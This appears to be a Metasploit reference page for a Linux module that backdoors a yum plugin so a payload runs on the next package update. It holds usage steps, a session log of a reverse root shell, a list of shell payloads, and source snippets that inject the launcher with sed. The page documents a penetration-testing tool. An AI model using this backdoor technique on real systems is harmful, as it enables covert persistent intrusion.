Yum Package Manager Persistence - Metasploit
This page contains detailed information about how to use the exploit/linux/local/yum_package_manager_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Yum Package Manager Persistence
Module: exploit/linux/local/yum_package_manager_persistence
Source code: modules/exploits/linux/local/yum_package_manager_persistence.rb
Disclosure date: 2003-12-17
Last modification time: 2020-01-14 20:47:27 +0000
Supported architecture(s): cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. Module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/yum_package_manager_persistence
msf exploit(yum_package_manager_persistence) > show targets
... a list of targets ...
msf exploit(yum_package_manager_persistence) > set TARGET target-id
msf exploit(yum_package_manager_persistence) > show options
... show and set options ...
msf exploit(yum_package_manager_persistence) > set SESSION session-id
msf exploit(yum_package_manager_persistence) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. Module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system.
Verification Steps
- Exploit a box that uses Yum
use linux/local/yum_package_manager_persistence
set SESSION <id>
set PAYLOAD cmd/unix/reverse_python
configure the payload as neededexploit
When the system runs yum update the payload will launch. You must set handler accordingly.
Options
BACKDOOR_NAME Name of backdoor executable
PLUGIN Name of the yum plugin to target
WritableDir Writable directory for backdoor default is (/usr/local/bin/)
PluginPath Plugin path to use default is (/usr/lib/yum-plugins/)
Scenarios
Tested on Fedora 21
msf5 exploit(linux/local/yum_package_manager_persistence) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135)
msf5 exploit(linux/local/yum_package_manager_persistence) > set session 1
session => 1
msf5 exploit(linux/local/yum_package_manager_persistence) > set plugin langpacks
plugin => langpacks
msf5 exploit(linux/local/yum_package_manager_persistence) > set lhost 172.22.222.136
lhost => 172.22.222.136
msf5 exploit(linux/local/yum_package_manager_persistence) > exploit
[*] /usr/lib/yum-plugins/langpacks.py
[+] Plugins are enabled!
[*] Attempting to modify plugin
[*] Backdoor uploaded to /usr/local/bin/z9fJTx2wVg
[*] Backdoor will run on next Yum update
msf5 exploit(linux/local/yum_package_manager_persistence) > [*] Command shell session 2 opened (172.22.222.136:4444 -> 172.22.222.135:43791) at 2019-04-30 06:21:12 -0500
msf5 exploit(linux/local/yum_package_manager_persistence) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135)
2 shell cmd/unix 172.22.222.136:4444 -> 172.22.222.135:43791 (172.22.222.135)
msf5 exploit(linux/local/yum_package_manager_persistence) > sessions -i 2
[*] Starting interaction with 2...
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux localhost.localdomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 172.22.222.135 - Command shell session 2 closed.
msf5 exploit(linux/local/yum_package_manager_persistence) >
Note: Session 2 is received after running yum update on the remote host.
Go back to menu.
Msfconsole Usage
Here is how the linux/local/yum_package_manager_persistence exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/yum_package_manager_persistence
[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(linux/local/yum_package_manager_persistence) > show info
Name: Yum Package Manager Persistence
Module: exploit/linux/local/yum_package_manager_persistence
Platform: Linux, Unix
Arch: cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2003-12-17
Provided by:
Aaron Ringo
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_NAME no Name of binary to write
PLUGIN fastestmirror yes Yum Plugin to target
SESSION yes The session to run this module on.
Payload information:
Description:
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. Module modifies a yum plugin to
launch a binary of choice. grep -F 'enabled=1'
/etc/yum/pluginconf.d/ will show what plugins are currently enabled
on the system.
Module Options
This is a complete list of options available in the linux/local/yum_package_manager_persistence exploit:
msf6 exploit(linux/local/yum_package_manager_persistence) > show options
Module options (exploit/linux/local/yum_package_manager_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_NAME no Name of binary to write
PLUGIN fastestmirror yes Yum Plugin to target
SESSION yes The session to run this module on.
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/local/yum_package_manager_persistence exploit:
msf6 exploit(linux/local/yum_package_manager_persistence) > show advanced
Module advanced options (exploit/linux/local/yum_package_manager_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
PluginPath /usr/lib/yum-plugins/ yes Plugin Path to use
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 0 no Additional delay in seconds to wait for a session
WritableDir /usr/local/bin/ yes A directory where we can write files
Payload advanced options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/yum_package_manager_persistence module can exploit:
msf6 exploit(linux/local/yum_package_manager_persistence) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/yum_package_manager_persistence exploit:
msf6 exploit(linux/local/yum_package_manager_persistence) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
18 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
19 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
22 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
23 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
24 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
25 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
26 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
27 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
28 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
29 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
30 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
31 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
32 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
33 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
34 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
36 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
39 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
40 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
42 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
43 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
44 payload/generic/custom normal No Custom Payload
45 payload/generic/debug_trap normal No Generic x86 Debug Trap
46 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
47 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
48 payload/generic/tight_loop normal No Generic x86 Tight Loop
49 payload/linux/aarch64/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
50 payload/linux/aarch64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
51 payload/linux/aarch64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
52 payload/linux/aarch64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
53 payload/linux/aarch64/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
54 payload/linux/aarch64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
55 payload/linux/armle/exec normal No Linux Execute Command
56 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
57 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
58 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
59 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
60 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
61 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
62 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
63 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
64 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
65 payload/linux/mipsbe/exec normal No Linux Execute Command
66 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
67 payload/linux/mipsbe/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
68 payload/linux/mipsbe/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
69 payload/linux/mipsbe/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
70 payload/linux/mipsbe/reboot normal No Linux Reboot
71 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
72 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
73 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
74 payload/linux/mipsle/exec normal No Linux Execute Command
75 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
76 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
77 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
78 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
79 payload/linux/mipsle/reboot normal No Linux Reboot
80 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
81 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
82 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
83 payload/linux/ppc/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
84 payload/linux/ppc/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
85 payload/linux/ppc/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
86 payload/linux/ppc/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
87 payload/linux/ppc/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
88 payload/linux/ppc64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
89 payload/linux/ppc64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
90 payload/linux/ppc64le/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
91 payload/linux/ppc64le/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
92 payload/linux/ppc64le/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
93 payload/linux/ppce500v2/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
94 payload/linux/ppce500v2/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
95 payload/linux/ppce500v2/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
96 payload/linux/x64/exec normal No Linux Execute Command
97 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
98 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
99 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
100 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
101 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
102 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
103 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
104 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
105 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
106 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
107 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
108 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
109 payload/linux/x86/chmod normal No Linux Chmod
110 payload/linux/x86/exec normal No Linux Execute Command
111 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
112 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
113 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
114 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
115 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
116 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
117 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
118 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
119 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
120 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
121 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
122 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
123 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
124 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
125 payload/linux/x86/read_file normal No Linux Read File
126 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
127 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
128 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
129 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
130 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
131 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
132 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
133 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
134 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
135 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
136 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
137 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
138 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
139 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/yum_package_manager_persistence exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/yum_package_manager_persistence) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <FULL_PLUGIN_PATH> not writable, does not exist, or yum is not on system
- Plugins are not set to be enabled in /etc/yum.conf
- <PLUGIN_CONF> plugin is not configured to run
- try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*
- Either Yum has never been executed, or the selected plugin has not run
- <BACKDOOR_PATH> is not writable
- <FULL_PLUGIN_PATH> does not import os, which is odd
- Module uses sed to modify plugin, sed was not found
- Failed to write <BACKDOOR_PATH>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<FULL_PLUGIN_PATH> not writable, does not exist, or yum is not on system
Here is a relevant code snippet related to the "<FULL_PLUGIN_PATH> not writable, does not exist, or yum is not on system" error message:
63: # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
64: plugin = datastore['PLUGIN']
65: full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"
66: print_status(full_plugin_path)
67: unless writable? full_plugin_path
68: fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
69: end
70:
71: # /etc/yum.conf must contain plugins=1 for plugins to run at all
72: plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
73: unless plugins_enabled.include? 'plugins=1'
Plugins are not set to be enabled in /etc/yum.conf
Here is a relevant code snippet related to the "Plugins are not set to be enabled in /etc/yum.conf" error message:
69: end
70:
71: # /etc/yum.conf must contain plugins=1 for plugins to run at all
72: plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
73: unless plugins_enabled.include? 'plugins=1'
74: fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'
75: end
76: print_good('Plugins are enabled!')
77:
78: # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
79: plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
<PLUGIN_CONF> plugin is not configured to run
Here is a relevant code snippet related to the "<PLUGIN_CONF> plugin is not configured to run" error message:
77:
78: # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
79: plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
80: plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
81: unless plugin_enabled.include? 'enabled=1'
82: print_bad("#{plugin_conf} plugin is not configured to run")
83: fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
84: end
85:
86: # plugins are made in python and generate pycs on successful execution
87: unless exist? "#{full_plugin_path}c"
try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*
Here is a relevant code snippet related to the "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*" error message:
78: # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
79: plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
80: plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
81: unless plugin_enabled.include? 'enabled=1'
82: print_bad("#{plugin_conf} plugin is not configured to run")
83: fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
84: end
85:
86: # plugins are made in python and generate pycs on successful execution
87: unless exist? "#{full_plugin_path}c"
88: print_warning('Either Yum has never been executed, or the selected plugin has not run')
Either Yum has never been executed, or the selected plugin has not run
Here is a relevant code snippet related to the "Either Yum has never been executed, or the selected plugin has not run" error message:
83: fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
84: end
85:
86: # plugins are made in python and generate pycs on successful execution
87: unless exist? "#{full_plugin_path}c"
88: print_warning('Either Yum has never been executed, or the selected plugin has not run')
89: end
90:
91: # check for write in backdoor path and set/generate backdoor name
92: backdoor_path = datastore['WritableDir']
93: unless writable? backdoor_path
<BACKDOOR_PATH> is not writable
Here is a relevant code snippet related to the "<BACKDOOR_PATH> is not writable" error message:
89: end
90:
91: # check for write in backdoor path and set/generate backdoor name
92: backdoor_path = datastore['WritableDir']
93: unless writable? backdoor_path
94: fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
95: end
96: backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
97: backdoor_path << backdoor_name
98:
99: # check that the plugin contains an import os, to backdoor
<FULL_PLUGIN_PATH> does not import os, which is odd
Here is a relevant code snippet related to the "<FULL_PLUGIN_PATH> does not import os, which is odd" error message:
97: backdoor_path << backdoor_name
98:
99: # check that the plugin contains an import os, to backdoor
100: import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
101: unless import_os_check.include? 'import os'
102: fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
103: end
104:
105: # check for sed binary and then append launcher to plugin underneath
106: print_status('Attempting to modify plugin')
107: launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
Module uses sed to modify plugin, sed was not found
Here is a relevant code snippet related to the "Module uses sed to modify plugin, sed was not found" error message:
105: # check for sed binary and then append launcher to plugin underneath
106: print_status('Attempting to modify plugin')
107: launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
108: sed_path = cmd_exec "command -v sed"
109: unless sed_path.include?('sed')
110: fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
111: end
112: sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"
113: cmd_exec sed_line
114:
115: # actually write users payload to be executed then check for write
Failed to write <BACKDOOR_PATH>
Here is a relevant code snippet related to the "Failed to write <BACKDOOR_PATH>" error message:
117: write_file(backdoor_path, payload.encoded)
118: else
119: write_file(backdoor_path, generate_payload_exe)
120: end
121: unless exist? backdoor_path
122: fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
123: end
124:
125: # change perms to reflect bins in /usr/local/bin/, give good feels
126: chmod(backdoor_path, 0755)
127: print_status("Backdoor uploaded to #{backdoor_path}")
Go back to menu.
Related Pull Requests
- #12832 Merged Pull Request: DisablePayloadHandler replace strings with bools
- #11673 Merged Pull Request: Addition of yum package manager module and documentation
Go back to menu.
See Also
Check also the following modules related to this module:
- exploit/linux/local/apt_package_manager_persistence
- exploit/linux/local/autostart_persistence
- exploit/linux/local/bash_profile_persistence
- exploit/linux/local/cron_persistence
- exploit/linux/local/rc_local_persistence
- exploit/linux/local/service_persistence
- exploit/osx/local/persistence
- exploit/unix/local/at_persistence
- exploit/windows/local/persistence
- exploit/windows/local/registry_persistence
- exploit/windows/local/s4u_persistence
- exploit/windows/local/vss_persistence
- exploit/windows/local/wmi_persistence
- exploit/windows/local/persistence_image_exec_options
- exploit/windows/local/persistence_service
- post/linux/manage/sshkey_persistence
- post/windows/manage/persistence_exe
- post/windows/manage/sshkey_persistence
- exploit/linux/local/network_manager_vpnc_username_priv_esc
- exploit/linux/http/webmin_package_updates_rce
- exploit/linux/http/webmin_packageup_rce
- exploit/linux/http/atutor_filemanager_traversal
- exploit/linux/http/nexus_repo_manager_el_injection
- exploit/linux/http/webmin_file_manager_rce
- exploit/linux/misc/netsupport_manager_agent
- exploit/unix/webapp/zoneminder_packagecontrol_exec
- exploit/windows/fileformat/ms14_064_packager_python
- exploit/windows/fileformat/ms14_064_packager_run_as_admin
- auxiliary/gather/ibm_bigfix_sites_packages_enum
- post/solaris/gather/enum_packages
Authors
- Aaron Ringo
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.